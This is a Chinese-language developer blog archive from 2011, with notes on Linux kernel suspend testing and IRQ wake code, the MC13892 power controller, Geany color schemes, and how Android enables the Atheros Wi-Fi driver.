cat 出來會是 none core processors platform devices freezser 這個功能是用來測試 suspend/resume 的。 從 source code : kernel/power/suspend.c static int suspend_enter(suspend_state_t state) { ..... if (suspend_test(TEST_PLATFORM)) goto Platform_wake; error = disable_nonboot_cpus(); if (error || suspend_test(TEST_CPUS)) goto Enable_cpus; arch_suspend_disable_irqs(); BUG_ON(!irqs_disabled()); error = sysdev_suspend(PMSG_SUSPEND); if (!error) { if (!suspend_test(TEST_CORE)) error = suspend_ops->enter(state); sysdev_resume(); } ... 和 suspend_test( ) function : static int suspend_test(int level) { #ifdef CONFIG_PM_DEBUG if (pm_test_level == level) { printk(KERN_INFO "suspend debug: Waiting for 5 seconds.\n"); mdelay(5000); return 1; } #endif /* !CONFIG_PM_DEBUG */ return 0; } 可以看到, core, processors, platform, devices, freezer 各是不同的 suspend level。
利用 suspend_test( ) 可以讓 suspend 在不同 level 後 resume。

所以可以用來坐測試。

使用方法就是在 console 把要 test 的 level 寫入 /sys/power/pm_test 中。 #echo core > /sys/power/pm_test然後再 trigger suspend... 就會看到 suspend 後 5 sec 就自己 wakeup 了

2011年8月5日 星期五

mc13892 是給 embedded controller 用的 power controller。 支援 suspend mode 的操作。 支援的方式,是利用 hardware pin. 每一組 voltage output 都可以program 成: 1. always enable 2. depend on hardware in 3. off
ref: http://www.embeddeddesignindia.co.in/STATIC/PDF/200906/EDIOL_2009JUN22_CORE_AN_01.pdf?SOURCES=DOWNLOAD

http://www.freescale.com/webapp/sps/site/prod_summary.jsp?code=MC13892&tab=Documentation_Tab&pspll=1&SelectedAsset=Documentation&ProdMetaId=PID/DC/MC13892&fromPSP=true&assetLockedForNavigation=true&componentId=2&leftNavCode=1&pageSize=25&Documentation=Documentation/00210KscRcb``Application%20Notes&fpsp=1&linkline=Application%20Notes

Editor : Geany : Change Editor's Color scheme

Geany Editor Window 的 color scheme 沒辦法在 Preference 中 設定。 要用設定檔的方式來作。 要改 color scheme: 1.Download 你要的 color scheme files. 2.放到 .config/geany/filedefs 這樣就可以。 他門是建議用 link 的方式來作,這樣就可以放很多 color scheme,然後用 ln -s 決定要用哪一個。
ref:
  1. http://code.google.com/p/geany-vibrant-ink-theme/wiki/HowToSetupVibrantInkTheme
  2. http://code.google.com/p/geany-dark-scheme/wiki/InstallGuide

kernel, suspend - pm.c : interface of module and kernel

在 commit log 中找與 suspend config 有關的 commit。 git log --grep="suspend" 找到 arch 裡的 pm.c

pm.c 好像是專屬的 power manager module,雖然結構跟一般的 module 一樣,device, driver 兩個,用
init, exit 插入 kernel symbol list。

但是在 init 時,使用的是 suspend_set_ops
implement 在 ./kernel/power/suspend.c static struct platform_suspend_ops *suspend_ops; void suspend_set_ops(struct platform_suspend_ops *ops) { mutex_lock(&pm_mutex); suspend_ops = ops; mutex_unlock(&pm_mutex); }
這個 structure 宣告在 include/linux/suspend.h struct platform_suspend_ops { int (*valid)(suspend_state_t state); int (*begin)(suspend_state_t state); int (*prepare)(void); int (*prepare_late)(void); int (*enter)(suspend_state_t state); void (*wake)(void); void (*finish)(void); void (*end)(void); void (*recover)(void); };
這個 suspend .c 很有趣,就是依照著 platform_suspend_ops 裡面的 function pointer,依照需要的時間來執行。 就是一個 kernel 的 interface 而已。

2011年8月4日 星期四

linux source : irq

include/linux/interrupt.h: extern int set_irq_wake(unsigned int irq, unsigned int on); static inline int enable_irq_wake(unsigned int irq) { return set_irq_wake(irq, 1); } static inline int disable_irq_wake(unsigned int irq) { return set_irq_wake(irq, 0); } 在 kernel/irq/manager.c: /** * set_irq_wake - control irq power management wakeup * @irq: interrupt to control * @on: enable/disable power management wakeup * * Enable/disable power management wakeup mode, which is * disabled by default. Enables and disables must match, * just as they match for non-wakeup mode support. * * Wakeup mode lets this IRQ wake the system from sleep * states like "suspend to RAM". */ int set_irq_wake(unsigned int irq, unsigned int on) { struct irq_desc *desc = irq_to_desc(irq); unsigned long flags; int ret = 0; /* wakeup-capable irqs can be shared between drivers that * don't need to have the same sleep mode behaviors. */ raw_spin_lock_irqsave(&desc->lock, flags); if (on) { if (desc->wake_depth++ == 0) { ret = set_irq_wake_real(irq, on); if (ret) desc->wake_depth = 0; else desc->status |= IRQ_WAKEUP; } } else { if (desc->wake_depth == 0) { WARN(1, "Unbalanced IRQ %d wake disable\n", irq); } else if (--desc->wake_depth == 0) { ret = set_irq_wake_real(irq, on); if (ret) desc->wake_depth = 1; else desc->status &= ~IRQ_WAKEUP; } } raw_spin_unlock_irqrestore(&desc->lock, flags); return ret; } 那個irq_to_desc,在 kernel/irq/handle.c. struct irq_desc *irq_to_desc(unsigned int irq) { return (irq < NR_IRQS) ? irq_desc + irq : NULL; } 那個 irq_desc 是宣告成: struct irq_desc irq_desc[NR_IRQS] __cacheline_aligned_in_smp = { [0 ... NR_IRQS-1] = { .status = IRQ_DISABLED, .chip = &no_irq_chip, .handle_irq = handle_bad_irq, .depth = 1, .lock = __RAW_SPIN_LOCK_UNLOCKED(irq_desc->lock), } }; 這個 irq_struct 宣告在 include/linux/irq.h /** * struct irq_desc - interrupt descriptor * @irq: interrupt number for this descriptor * @timer_rand_state: pointer to timer rand state struct * @kstat_irqs: irq stats per cpu * @irq_2_iommu: iommu with this irq * @handle_irq: highlevel irq-events handler [if NULL, __do_IRQ()] * @chip: low level interrupt hardware access * @msi_desc: MSI descriptor * @handler_data: per-IRQ data for the irq_chip methods * @chip_data: platform-specific per-chip private data for the chip * methods, to allow shared chip implementations * @action: the irq action chain * @status: status information * @depth: disable-depth, for nested irq_disable() calls * @wake_depth: enable depth, for multiple set_irq_wake() callers * @irq_count: stats field to detect stalled irqs * @last_unhandled: aging timer for unhandled count * @irqs_unhandled: stats field for spurious unhandled interrupts * @lock: locking for SMP * @affinity: IRQ affinity on SMP * @node: node index useful for balancing * @pending_mask: pending rebalanced interrupts * @threads_active: number of irqaction threads currently running * @wait_for_threads: wait queue for sync_irq to wait for threaded handlers * @dir: /proc/irq/ procfs entry * @name: flow handler name for /proc/interrupts output */ struct irq_desc { unsigned int irq; struct timer_rand_state *timer_rand_state; unsigned int *kstat_irqs; #ifdef CONFIG_INTR_REMAP struct irq_2_iommu *irq_2_iommu; #endif irq_flow_handler_t handle_irq; struct irq_chip *chip; struct msi_desc *msi_desc; void *handler_data; void *chip_data; struct irqaction *action; /* IRQ action list */ unsigned int status; /* IRQ status */ unsigned int depth; /* nested irq disables */ unsigned int wake_depth; /* nested wake enables */ unsigned int irq_count; /* For detecting broken IRQs */ unsigned long last_unhandled; /* Aging timer for unhandled count */ unsigned int irqs_unhandled; raw_spinlock_t lock; #ifdef CONFIG_SMP cpumask_var_t affinity; const struct cpumask *affinity_hint; unsigned int node; #ifdef CONFIG_GENERIC_PENDING_IRQ cpumask_var_t pending_mask; #endif #endif atomic_t threads_active; wait_queue_head_t wait_for_threads; #ifdef CONFIG_PROC_FS struct proc_dir_entry *dir; #endif const char *name; } ____cacheline_internodealigned_in_smp;

2011年8月2日 星期二

worklog - android atheros sd wifi

在 BoardConfig.mk 定義: WPA_SUPPLICANT_VERSION := VER_0_6_ATHEROS 然後在 external 下有三個 wpa_supplicant :
  1. wpa_supplicant
  2. wpa_supplicant_6
  3. wpa_supplicant_ath
都是 wpa_supplicant 的 source,但是由 WPA_SUPPLICANT_VERSION 決定要用哪一個
從 每個 folder 的 Android.mk 來看,開頭 ifeq ($(WPA_SUPPLICANT_VERSION),VER_0_5_X) 這樣決定
  1. wpa_supplicant : VER_0_5_X
  2. wpa_supplicant_6 : VER_0_6_X
  3. wpa_supplicant_ath : VER_0_6_ATHEROS
所以用的是 wpa_supplicant_ath


啟動 wifi

在 Setting - Wireless and networks 把Wi-Fi check 後。
package setting 下的 WifiEnabler.java : onPreferenceChange( ),有
int wifiApState = mWifiManager.getWifiApState(); ... if (mWifiManager.setWifiEnabled(enable)) { 其中的 mWifiManager 是 system service wrapper class: mWifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
WifiManger 的 code: ./frameworks/base/wifi/java/android/net/wifi/WifiManager.java
之後 call 的 WifiManger.setWifiEnabled( ) : 只是一個 seriver 的包裝
public boolean setWifiEnabled(boolean enabled) { try { return mService.setWifiEnabled(enabled); } catch (RemoteException e) { return false; } } mService 是 IBinder interface : public WifiManager(IWifiManager service, Handler handler) { mService = service; mHandler = handler; } IWifiManager 是 (Binder interface): IWifiManager.aidl

IWifiManger 的 sponser server 是 WifiService : framework/android/server/WifiService: public class WifiService extends IWifiManager.Stub {
WifiService 的 setWifiEnabled() : sendEnableMessage(enable, true, Binder.getCallingUid()); sendEnableMessage() private void sendEnableMessage(boolean enable, boolean persist, int uid) { Message msg = Message.obtain(mWifiHandler, (enable ? MESSAGE_ENABLE_WIFI : MESSAGE_DISABLE_WIFI), (persist ? 1 : 0), uid); msg.sendToTarget(); } 這個 message 的 hanelder: public void handleMessage(Message msg) { switch (msg.what) { case MESSAGE_ENABLE_WIFI: setWifiEnabledBlocking(true, msg.arg1 == 1, msg.arg2); 所以是 setWifiEnabledBlocking : 這個做了 wifi driver loading, connect to wpa.. etc private boolean setWifiEnabledBlocking(boolean enable, boolean persist, int uid) { .... if (enable) { if (!mWifiStateTracker.loadDriver()) { Slog.e(TAG, "Failed to load Wi-Fi driver."); setWifiEnabledState(WIFI_STATE_UNKNOWN, uid); return false; } if (!mWifiStateTracker.startSupplicant()) { mWifiStateTracker.unloadDriver(); Slog.e(TAG, "Failed to start supplicant daemon."); setWifiEnabledState(WIFI_STATE_UNKNOWN, uid); return false; WifiStateTracker 在 framework/base/wifi ... public synchronized boolean loadDriver() { return WifiNative.loadDriver(); } call 到 jni : framework/base/core/jni/android_net_wifi_Wifi.cpp ,這只是 call 到 c code 的 wrapper。

實際 implement wifi_load_driver( ) 的在 : hardware/libhardware_legacy/wifi


wifi.c 的 wifi_load_driver 其實很普通,就是用 insmod load driver. if (insmod(DRIVER_MODULE_PATH, DRIVER_MODULE_ARG) < 0) driver name, path, argument 都是寫在 Android.mk 裡: WIFI_DRIVER_MODULE_PATH := "/system/lib/modules/ar6000.ko" WIFI_DRIVER_MODULE_ARG := "" WIFI_DRIVER_MODULE_NAME := "ar6000"

標籤

網誌存檔